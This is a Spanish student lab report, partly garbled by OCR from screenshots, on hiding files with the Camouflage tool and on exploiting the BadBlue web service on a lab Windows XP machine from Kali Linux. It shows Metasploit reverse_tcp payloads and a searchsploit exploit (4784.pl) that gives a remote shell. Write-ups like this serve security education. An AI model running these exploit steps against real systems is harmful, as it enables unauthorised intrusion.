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En la ventana siguiente, estableci una contrasefia y luego de escribirla oprimi el boton

finish para terminar con el proceso de camuflaje.



Camouflage

Enter a secunty pazsword for your camouflaged file if you wish.

Ixxxx

Pazzword

Werify Pagzword

Ixxxx

Click bere to get the latest version < Back Finish Cloze I
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Pero a diferencia del camuflaje anterior, este no termino de cargar, porque mostro un
mensaje de error, donde decia que la cantidad de archivos superaba el maximo de archivos que

permitia el camuflaje.

Camouflage

Camouflage

@ Unable to Camouflage!
Bad record nurnber (63)

Click_here to get the latest version < Back | Firigh Cloze
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Al mostrarme el error anterior, probe la misma cantidad de archivos y de tamafio, pero
ahora camuflado los archivos en un archivo de pdf.

Seleccioné el archivo y luego oprimi el boton abrir.



Select file to use as camouflage

Buscar en:

&

Docurnentos
recientes

=

Escritonio

tiz documentos

Miz sitios de red

Camouflage

|E} Dezcargas ﬂ EF v

’E.ﬁ.dnbe Reader &

E@ Camoulzl

Evidencias.md

- Informe de Como Instalar los Drivers del Adaptador Inaldmbrico TP-LINK en Kali Linu

E Informe de Escanen v Explokacion de Puertos Yulnerables de Metasploitable con kali Linu:
Informe de Escanen v Explokacion de Puertos Yulnerables de Metasploitable con kali Linu:
Elnforme de hacking Etico de Lampiao con Kali Linux como Magquina Atacante

Informe de hacking Etico de Lampiao con Kali Linux como Magquina Atacante, docx
Elnforme de hacking Etica del Madulo Meterpreter en Windows 5P, Windows Server 2003 4
Informe de hacking Etica del Madulo Meterpreter en Windows 5P, Windows Server 2003 4
E Informe de SOL Injection desde Kali Linux a Friskileaks

|'_":| Localizacion_Mpio_ Bojava_Carta_l&Septzs

pA Manual de Instalacidn de Metasploitable 3
Manual de Instalacidn de Metasploitable 3.docx

E] MNokas

3l X
Mambre: |Manua| de Instalacion de Metasploitable 3 j Abrir |
Tipo: |,&|| Files ﬂ Cancelar

i = e

Hlustracion 52 Camuflaje de Archivos en Windows XP paso 52

B=1e3

Your camouflaged files will be made to look and act like the following file.

Camouflage Using

CADocumentz and Settingswayner_antonio_mopa_ \E zcrtoriotDe jJ

Click here to get the latest version

oprimi el boton next.

Hlustracion 53 Camuflaje de Archivos en Windows XP paso 53

En la siguiente ventana, me mostro el archivo seleccionado y alli oprimir botdn next.

En la ventana siguiente cambié el nombre del archivo, pero con la extension pdf'y luego



Camouflage

Choosge the location and filename far the camouflage file that iz about to be created.

Create This File |iu_muya_'xEscrituriu‘xpdf. pdi j J

v Read-only

Click here to get the latest version < Back Mext > Claose

Mlustracion 54 Camuflaje de Archivos en Windows XP paso 54

En la ventana siguiente, estableci la contrasena del camuflaje y oprimi el boton finish

para terminar el camuflaje.

Camouflage

Enter a secunty password for your camouflaged file if you wish.

Pazswiard ﬁ

Werify Pazzword

Click _here to get the latest version < Back Finizh Cloze

llustracion 55 Camuflaje de Archivos en Windows XP paso 55

Pero igualmente como en el camuflaje en el archivo word, me mostro el mismo resultado
o error que la cantidad de archivo que estaba camuflando accedia el limite y no se podia

completar el camuflaje. Con estos dos resultados ya podian sacar mis propias conclusiones.



" Camouflage EI@|E| -

Camouflaging files to C:\Documents and Settings'wayner_antonio_moya_\Escritoriotpdf. pdf...

Camouflage

Unable to Camaouflage!

Bad record number (630

Click here to get the latest version < Back | Firish | Cloze |

Mlustracion 56 Camuflaje de Archivos en Windows XP paso 56

Pero me faltaba un tipo de archivo, el de extension exe o el ejecutable.

Realice el mismo proceso con las extensiones anteriores. Seleccioné todos los archivos,
es decir los 21 archivos con tamafio de 2,62 GB, luego oprimi la opcidon de camuflaje y después
elegi el archivo donde iba a camuflar el archivo es decir el archivo con extension exe y luego

oprimi el boton abrir.

Select file to use as camouflage

Buscar en: I[Tﬁ Ezcritario

— BMis documentos
l é S MiFC

Documentos ‘amis sitios de red
recientes B.ﬂ.dobe Reader &
@ E WL media player
- [C)Descargas
Esciitorio 75| ARORATORIO
. [CS)UTCH-PTIVIL
_ ’) CT camoutzi
., E Comuflajeimgan
Mis documentos

| Descripeién del Mapa del Municipio de Bojaya ]
g - Evidencias.md ill
iP

Iz FileZilla_z _WinGd_sponsoredz-s
Informe de Como Instalar los Drivers del Adaptador Inalambrico TP-LIMK en _Kali Linux.dc) o
T Informe de Como Instalar los Drivers del Adaptador Inaldmbrico TP-LINK en Kali Linux

Q z
Mis sitios dered  Mombre: IFiIeZiIIa_S.89.3_win84_sp0nsored2-setup j Abrir
Tipo: IAII Filez j Cancelar |

=
(]

Hlustracion 57 Camuflaje de Archivos en Windows XP paso 57

La siguiente ventana mostro el archivo seleccionado y alli oprimi el boton next.



Camouflage Z El E|

'our camouflaged files will be made to look and act like the following file.

Camouflage sing C:\Docurnents and Settings\.wa_l,lner_antnnio_mn_l,la_\E3critorio\FiIeﬂJ

Click here to get the latest version

Hlustracion 58 Camuflaje de Archivos en Windows XP paso 58

En la siguiente ventana, le cambié el nombre del archivo, pero con la extension .exe y

luego oprimi el boton next.

Camouflage

Chooze the location and filename for the camouflage file that iz about ta be created.

Create This File |in_mc'_','a_\.E$critnrio'~.e>-:e.e:-:e jJ
v Fead-only
Click here to get the latest version < Back Mext > Cloze

Hlustracion 59 Camuflaje de Archivos en Windows XP paso 59

En la ventana siguiente, estableci la contrasenia del camuflaje y por ultimo oprimi el

boton finish para terminar el camuflaje.

Camouflage : El fE

Enter a security passward for wour camouflaged file if wou wizh,

Pazzword [

Yty Pazswaord

Click here to get the latest version ¢ Back Finish Cloze

Hlustracion 60 Camuflaje de Archivos en Windows XP paso 60



Pero igualmente, me mostro el mismo error, la cantidad de archivo no era permitido.

Camouflage

Camouflage

ENENNNNNNNRNEEN
@ Unable to Camouflage!
Bad record number (63)

Click here to get the latest version < Back | Einizh LCloze

Mlustracion 61 Camuflaje de Archivos en Windows XP paso 61

Con esto puede concluir que la maxima capacidad que aceptan los archivos con extension
exe, pdf, word y png es entre 1 GB y 2 B. Y para probar mi conclusion, decidi probar con la
misma cantidad de archivos y de tamafio que habia probado con los archivos de word, pdf y exe
pero ahora en archivo png que me habia funcionado con 20 archivo y 1,63 de GB.

Para eso seleccione los mismos archivos es decir 21 con tamaio 2,62 GB, luego los

camufle, después elegi el archivo con extension png y después oprimi el botdn abrir.

Select file to use as camouflage

Buscar en: I;g Doc_My_1 en "WBoxSwr' (=] j - rj( EH-
: 2 . Descripeicn del Mapa del Municipio de Bojayé
: EFiIeZiIIa_S.69.3_win64_sp0nsored2—setup

recientes

Documentos
O

@

E seiritario

Mis documentos

L

&

iz sitios de red | Wombre: ILocaIizacion_Mpio_ Bojapa_Carta_165ept25 j Abrir I
Tipa: |4l Files >|  Cancela |

llustracion 62 Camuflaje de Archivos en Windows XP paso 62



En la ventana siguiente, me mostro el archivo que habia seleccionado y luego oprimi el

boton next.

72 Camouflage

r'our camouflaged files will be made to look and act like the following file.

Camouflage Using #:\Localizacion_Mpio_ Bojaya Carta_165ept25.png ﬂJ

Click here to get the latest version

Ilustracion 63 Camuflaje de Archivos en Windows XP paso 63

En la ventana siguiente, cambié el nombre del archivo, pero con extension png y luego

oprimi el boton next

#2 Camouflage

Choosze the location and filename for the camouflage file that iz about to be created.

Create Thiz File |m0_l,la_\Escritorio\png.png

¥ Read-only

Click here bo get the latest version < Back | Hext » | Close |

llustracion 64 Camuflaje de Archivos en Windows XP paso 64

En la ventana siguiente, estableci una contrasefia para el camuflaje y por tltimo, oprimi el

boton finish.

#2 Camouflage

Enter a security password for pour camouflaged file if you wish.

Pazzword e
Werify Pazzword """’1

Click hers to get the |atest version < Back | Finizh Cloze

Hlustracion 65 Camuflaje de Archivos en Windows XP paso 65



Pero me arrojo el mismo resultado que con las extensiones anterior. Excedia la capacidad

de archivos.

Camouflage

Camouflage

e Inable to Camouflage!

Bad record number (63)

Click here to get the latest verzsion < Back | Einizh LCloze

1lustracion 66 Camuflaje de Archivos en Windows XP paso 66

Y con esto pude comprobar mis hipdtesis, afirmando que segun lo realizado y los

resultados, lo maximo que aceptan los archivos pdf, word, png y exe es entre 1 y 2 GB.



4 Capitulo 2 Explotacion del Servicio Badblue de Windows XP.

Este segundo capitulo, consta de mostrar que procesos realice para vulnerar el servicio

httpd puerto 80 de Windows XP por la version Badblue.

Para lograr este objetivo, primero instale badblue en la maquina victima es decir

Windows XP. Ejecuté el programa y en la primera ventaja oprimi el botén next.

C} BadBlue Personal Edition 2. 72 Setup E”§|g|

Welcome to the BadBlue Personal
Edition 2.72 Setup Wizard

This wizard will guide you through the installation of BadBlue
Personal Edition 2,72,

1t is recommended that vou close all ather applications
befare starting Setup. This will make it possible to update
relevant system files without having ko reboot your
corpuker,

Click Mexk ko continue,

Mexk = ] [ Cancel ]

llustracion 67 Explotacion del Servicio Badblue de Windows XP paso 1

En la ventana siguiente, oprimi boton install.

€% BadBlue Personal Edition 2.72 Setup

5 ﬁ F} Choose Install Location
| ”e Choose the folder in which to install BadElue Personal Edition

Setup will install BadBlue Personal Edition 2,72 in the Following Folder, To install in a different
folder, click Browse and select another Folder. Click Install to start the installation,

Destination Folder

de programaiBadBlusiPE

Space required: 1.4MB
Space available: 13.2GE

[ < Back ” Install ] [ Cancel ]

llustracion 68 Explotacion del Servicio Badblue de Windows XP paso 2



En la ventana siguiente, oprimi la opcion si.

5 ﬁ / Installing
| ”e Please wait while BadBlue Personal Edition 2,72 is being installed,

Create shortcut: CiDocuments and Settingsiwayner_antonio_moya_‘\EscritorioiBadElue Persc

|-
[
Skipped: SCinit.php ~
Skipped: SOtest.php
Skipped: SOworg 4l

Skipped: SOtest ¢- BadBlue Personal Edition 2.72 Setup |[°%
Skipped: SOacc
Skipped: SOexce  Aubomatically start your web site each time you login?
Skipped: SCinit,
Skipped: SCiworg s ¥
Skipped: HTTPGg ; l ’ = ]
Create folder: Che = - - — fcioiProg...
Create shortcuk: C\Documents and Settingsiwayner_antonio_movya_iMend IniciolPr...
Create shortcut: C\Documents and Settingsiwayner_antonio_mova_\EscritoriolBad... 2

Hlustracion 69 Explotacion del Servicio Badblue de Windows XP paso 3

Y por altimo, oprimi el boton finish para terminar de instalar el servicio.

€% BadBlue Personal Edition 2.72 Setup E”§|g|

Completing the BadBlue Personal
Edition 2.72 Setup Wizard

BadElue Personal Edition 2,72 has been installed an your
computer,

Click Finish to close this wizard,

Run BadBlue Personal Edition 2,72

[ Finish l [ Cancel

Hustracion 70 Explotacion del Servicio Badblue de Windows XP paso 4

Y luego abri el servicio y mostro la pagina web de badblue.



| @BadBlue: the file-sharing web server anvone can use | |

Fil h:
2= Share your Excel

Search using a partial word (inv matches Spreadsheets over

invoices), by file extension (jpg, mp3, xls,
...) or with multiple words (photo album the web. Fast.
would match all files that include the words EESY Guaranteed

photo and afbum).
C for off

Enterprise Edition

o BadBlue? Take the quick tutorial or press

llustracion 71 Explotacion del Servicio Badblue de Windows XP paso 5

Y también el puerto donde estaba corriendo el servicio, es decir el puerto 80.

Uze port; IBI:I i’

Hide when minimized v

Stop | | Exit... I

llustracion 72 Explotacion del Servicio Badblue de Windows XP paso 6

Una vez instale el servicio en la maquina atacante, es decir Kali Linux, realice un escaneo
con la herramienta nmap a la mascara de red de Kali para ver los puertos vulnerables de las
maquinas que estaban conectadas a ese mismo segmento.

Y alli observe que la posible IP de la maquina victima y que el puerto 80 estaba abierto

con la version Badblue httpd 2.7



Nmap scan repo
Host is up (0.0
Not shown: 995 c
i STATE (
open http dBlue httpd 2.7

open mMSTpC Microsoft Windows
netbios-ssn rosoft Windows
rosoft Windows 3

9:8D (P / Orac irtualBox virtual
ndows, Windows CPE: cpe:/o: osoft:windows, fo:microsoft:windows_xp

Hlustracion 73 Explotacion del Servicio Badblue de Windows XP paso 7

Sabiendo eso, decidi ingresar a la consola de metasplotaible con el comando msfconsole

y buscar exploit para poder vulnerar ese servicio.

sploit tip: To save all commands exe
rc command
Starting the MeTasploit Framework console ...\

llustracion 74 Explotacion del Servicio Badblue de Windows XP paso 8

Dentro de la consula, busqué los métodos vulnerables de la version badblue con el
comando search badblue y alli pude observar dos métodos vulnerables y uno de ellos tenia dis

target utilizables.

msf > search badblue

Matching Modules

ith a module by name or inde
nteracting with a module you ca

llustracion 75 Explotacion del Servicio Badblue de Windows XP paso 9

Decidi intentar con el primer método exploit/Windows/http/babblue ext overflow, con el
comando use 0, donde 0 es la posicién del método ya mencionado.

Este método venia por defecto con el payload de meterpreter.



> use @
No payload configured, defaulting to windows/meterpreter/reverse_

exploit( ) > |

{lustracion 76 Explotacion del Servicio Badblue de Windows XP paso 10

Decidi ver las opciones del método ejecutando el comando options. Y alli puede observar

que debia establecer el RHOSTS, es decir la direccion IP de la maquina victima.

Required

no r' t:port][ ... 1. Supported pr i , socks5, http, socks5h
yes & t t L com/docs/using-metasploit/ 2 t.html
yes

no

s, none)
)

Exploit target:

ame i
Id Name #Je Herramienta Recortes

® BadBlue 2.5 (Univ

llustracion 77 Explotacion del Servicio Badblue de Windows XP paso 11

Agregue la direccion con el comando set RHOSTS 192.168.10.5.

RHOSTS 192.168.18.5

192.168.10.5
Después ejecuté el método con el comando exploit, pero no pude obtener acceso a

meterpreter.

exploit(

‘ rted reverse TCP handler on 192.168.10.
Trying target BadBlue 2.5 (Universal) ...
Exploit completed, but no session was crea
exploit( )

llustracion 78 Explotacion del Servicio Badblue de Windows XP paso 12

Al no tener resultados exitosos, decidi cambier el payload y no ingresar por meterpreter

sino por vncinject, con el comando set payload payload/Windows/vncinject/reverse_tcp.



payload payload/windows/vncinject/reverse_

Hlustracion 79 Explotacion del Servicio Badblue de Windows XP paso 13

Con el comando options, observe las opciones es de ese payload y ver si debia modificar

o agregar algtn dato.

Module options (exploit/windows/http/badblue_ext_overflow):
ing Required
no I 51 ype: st:port " ported pro: i 4, socks5, http, socks5h
yes e et . e htt| spleit/b loit.html

yes

no

f present

, none)

1lustracion 80 Explotacion del Servicio Badblue de Windows XP paso 14

Como vi todo bien, ejecuté nuevamente el método con el comando exploit, pero tampoco

pude obtener el resultado que queria.

192.168.10.6

2.5 (Universal) ...
no session was c

llustracion 81 Explotacion del Servicio Badblue de Windows XP paso 15

Como no tuve resultados con el primer método, busqué nuevamente los métodos

vulnerables de la version badblue, con el comando search badblue.



msf > search badblue

Matching Modules

Name Disclosure Date Rank Check Description

«ploit/windows/http/badblue ] Yes BadBlue 5 T.d1l1l Buffer
<plo ndows/http/badblue_passthru 7 g No BadBlue b PassThru Buf
1 : BadBlue EE 2 -
BadBlue 2

[lustracion 82 Explotacion del Servicio Badblue de Windows XP paso 16

Y pobre con el método Windows/http/badblue passthru, eligiendo este método con el
comando use 1, donde 1 es la posicion del método a probar. Este método también ingresa con

meterpreter por defecto.

No payload configured, defaulting to windows/meterpreter/r
ploit( )
exploit(

Tlustracion 83 Explotacion del Servicio Badblue de Windows XP paso 17

Observe las opciones del método con el comando options. Y alli observe que decia

establecer la direccion IP de la maquina victima.

Reguired
no , http, socks5h|
yes
yes
no

Exploit target:

— X
Id Name ¥Je Herramienta Recortes

BadBlue EE 2.7 Universal :
Captura de pantalla copiada en el portap:

llustracion 84 Explotacion del Servicio Badblue de Windows XP paso 18



Agregue la direccion IP con el comando set RHOSTS 192.168.10.5, donde este ultimo es

la direccion IP de la maquina victima.

Hlustracion 85 Explotacion del Servicio Badblue de Windows XP paso 19

Luego ejecute el método con el comando exploit, pero no puede tener resultados.

led [disconnected]: Errno::
Exploit completed, but no session was
exploit(

1lustracion 86 Explotacion del Servicio Badblue de Windows XP paso 20

También decidi cambiar el payload y utilizar el acceso no por meterpreter si no por
vncinject, con el comando set payload payload/Windows/vncinject/reverse tcp cambie el

payload.

msf exploit( ) » set payload payload/windows/vncinject/reverse_tcp
ayl

Llustracion 87 Explotacion del Servicio Badblue de Windows XP paso 21

Observe las opciones del payload con el comando options para mirar que dato debia

agregar o modificar.



Module options (exploit/windows/http/badblue_passthru):

g Required Description

no format type:host:port[,type:host:port][ ... ]. Supported p

4, socks5, http, socksSh
sploit.com/docs/using-metasploit,

sploit.html
r outgoing connections

Payload options (windows/vncinject/

Current Setting Required Descri

none)

Exploit target:

Id Name

@ BadBlue EE 2.7 Universal

Tlustracion 88 Explotacion del Servicio Badblue de Windows XP paso 22

Como todo estaba bien, ejecuté el método con el comando exploit, pero tampoco tuve

éxito con este método.

Trying target BadBlue EE 2
Exploit failed [disconnect
Exploit completed, but no
exploit(

.7 Universal ...

ed]: Errno:: ECONNRESET Connection reset by peer
session was c

Mlustracion 89 Explotacion del Servicio Badblue de Windows XP paso 23
Como este método tenia varios targets, mire esos tergtes con el comando show targets. Y

el metodo estaba utilizando el target Badblue EE 2.7 Universal, pero tenia otro target Badblue

2.7b Universal.

BadBlue
BadBlue :

llustracion 90 Explotacion del Servicio Badblue de Windows XP paso 24



Cambie el target con el comando set target 1, donde 1 es el otro target que tenia

disponible el método.

Hlustracion 91 Explotacion del Servicio Badblue de Windows XP paso 25

Ejecuté nuevamente el método con el nuevo target seleccionado, con el comando exploit,

pero tampoco tuve éxito al intentar vulnerar Windows XP por Badblue.

. sal
Exploit failed [disconnected]: Errno:
Exploit completed, but no session was
exploit(

Ilustracion 92 Explotacion del Servicio Badblue de Windows XP paso 26

Como atreves de la consola de metasplotaible no tuve éxito al vulnerar Windows XP por
el servicio de badblue, pobre otro método.
En la consola de Kali Linux, busque exploit vulnerables de badblue con el comando

searchsploit badblue, dando como resultado muchos de ellos.

e Vulnerabilities

ary File Access

scripting

Shellcodes: No Results
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Me llamo la atencion el exploit badblue 2.72 que estaba en la ruta

Windows/remote/4784.pl.



windows/r:
window

c
windows/dos/419.pl

windows/remote/847.cpp
windows/remote/4784.pl

2.72 - PassThru Remote Buffer Overflow
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Seleccione ese exploit con el comando searchsploit -p Windows/remote/4784.pl, donde

este ultimo es la ruta del exploit seleccionado.

: BadBlue 2.72 PassThru Remote Buffer Overflow
URL: https:// /
Path: fusr/sh
Codes: O5VDEB-
Verified: True
File Type: Perl

Hlustracion 95 Explotacion del Servicio Badblue de Windows XP paso 30

Luego copie el archivo 4784.pl a la ruta principal de la maquina atacante con el comando
cp /usr/share/exploitdb/exploits/windows/remote/4784.pl ., donde este ultimo es la ruta del

archivo que se va a utilizar para poder vulnerar Windows XP utilizando Badblue.

/usr/share/exploitdb/exploits/windows/remote/4784.pl .

Hlustracion 96 Explotacion del Servicio Badblue de Windows XP paso 31

Luego de copiar el archivo en la ruta principal de Kali Linx, liste los archivos y carpetas
de esa ruta para observar y probar que el archivo se habia copiado con éxito, y efectivamente asi

fue.

txt badblue272.pl Diclampiao.txt fotos.cpp hash_lampiao.php
pl Dicfristi.txt documentos hash_drupal.php
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Luego mire el contenido del archivo con el comando nano 4784.pl, donde este es el

nombre del archivo.

4784.pl |

Tlustracion 98 Explotacion del Servicio Badblue de Windows XP paso 33

Y asi puede ver un poco de la informacion y el contenido de este archivo.

uNg ndng o .9 HrO%.pL

use I0::Socket;

"

(1(
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Malicious GET request sent ...\n";

1lustracion 100 Explotacion del Servicio Badblue de Windows XP paso 35

Como debia darle permisos de ejecucion al archivo y este no me lo iba a permitir decidi
copiar ese archivo a un archivo creado por mi con el comando cp 4784.pl badblue272.pl, donde

este ultimo es el nombre del nuevo archivo.

~—

4784.pl badblue272.p
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Y despues de copiar el archivo, puede darle permisos de ejecucion con el comando

chmod +x badblue272.pl, donde este ultimo es el nombre del archivo.

+x badblue272.pl

Tlustracion 102 Explotacion del Servicio Badblue de Windows XP paso 37

Luego, ejecute el archivo con el comando ./badblue272.pl y adicione el comando la

direccion IP de la maquina victima 192.168.10.5 y el puerto 80.

Hlustracion 103 Explotacion del Servicio Badblue de Windows XP paso 38



Y al ejecutar el archivo, puede ingresar a Windows XP por medio de badblue.

+ Malicious GET reqguest
Done.
+ Connect on port
Trying 192.168.10.5 ...
0

t 44bs

Connected to 192.168.10.5.
Escape character is ""]".
Microsoft Windows XP [Versi#n

(C) Copyright 1985-2001 Microso

C:\Archivos de programa‘\BadBlue\PE>]}
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Desde la ubicacion que estaba cuando ingrese al sistema, me ubique en la raiz del sistema

ejecutando el comando cd .. varias veces.

C:\Archivos de programa‘BadBlue‘\PE>cd
cd

C:\Archivos de programa‘BadBlue>cd
cd

C:\Archivos de programa>cd
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Alli en la raiz, ejecute el comando systeminfo, para ver toda la informacion del sistema.

Pude observar el nombre del host es decir WAY, el nombre del sistema operativo es decir

Microsoft Windows XP Profesional y otras cosas muy importantes.



isteminfo

Microso
5.1.26
t
sistema op

Id. del produt

a de instal
minutos, 59 segundos

instalados.
Model tepping @ AuthenticAMD

Dispositiv e i = iskVolumel
Configu
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Para dejar mi huella y demostrar que habia vulnerado el sistema correctamente, desde la

raiz accedi a la carpeta escritorio.

Documents and Settings er_antonio_moya_>cd Es+

antonio_moya_
di
EL volumen de 1
El nemero de

ocuments and

Informe d alar ipta R _Kali Linux.docx
LABORATORIO
ion_Mpio_ Boj

7 chivos
4 dirs 14.24

Documents and Settin
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Y alli dentro cree una carpeta llamada badblue con el comando mkdir badblue.

\Documents and Settings‘\wayner_antonio_moya_\Escritorio>mkdir badblue

mkdir badblue
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Y para verificar que efectivamente se habia creado la carpeta, ingrese a la maquina

victima es decir Windows XP y puede observar la carpeta creada desde Kali Linux.
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Y asi es como realice este proceso de vulnerar Windows XP por medio de Badblue.



5 Conclusiones

El desarrollo de este laboratorio permitié evidenciar que los archivos con extensiones
.png, .docx, .pdf y .exe tienen una capacidad limitada para camuflar informacion, siendo el rango
maximo entre 1 y 2 GB. Asimismo, se comprobd que los intentos de explotacion del servicio
BadBlue mediante diferentes métodos y payloads en Metasploit no fueron exitosos, lo que refleja
la necesidad de comprender a profundidad las versiones, configuraciones y limitaciones de los
exploits utilizados. Sin embargo, el uso del exploit badblue 2.72 desde searchsploit permitié
lograr acceso al sistema victima, demostrando la vulnerabilidad existente en versiones antiguas
del servicio.

Estas experiencias refuerzan la importancia de mantener actualizados los sistemas,
deshabilitar servicios innecesarios y fortalecer las politicas de seguridad para prevenir ataques.

Ademas, la practica permitié afianzar conceptos fundamentales de la ciberseguridad.
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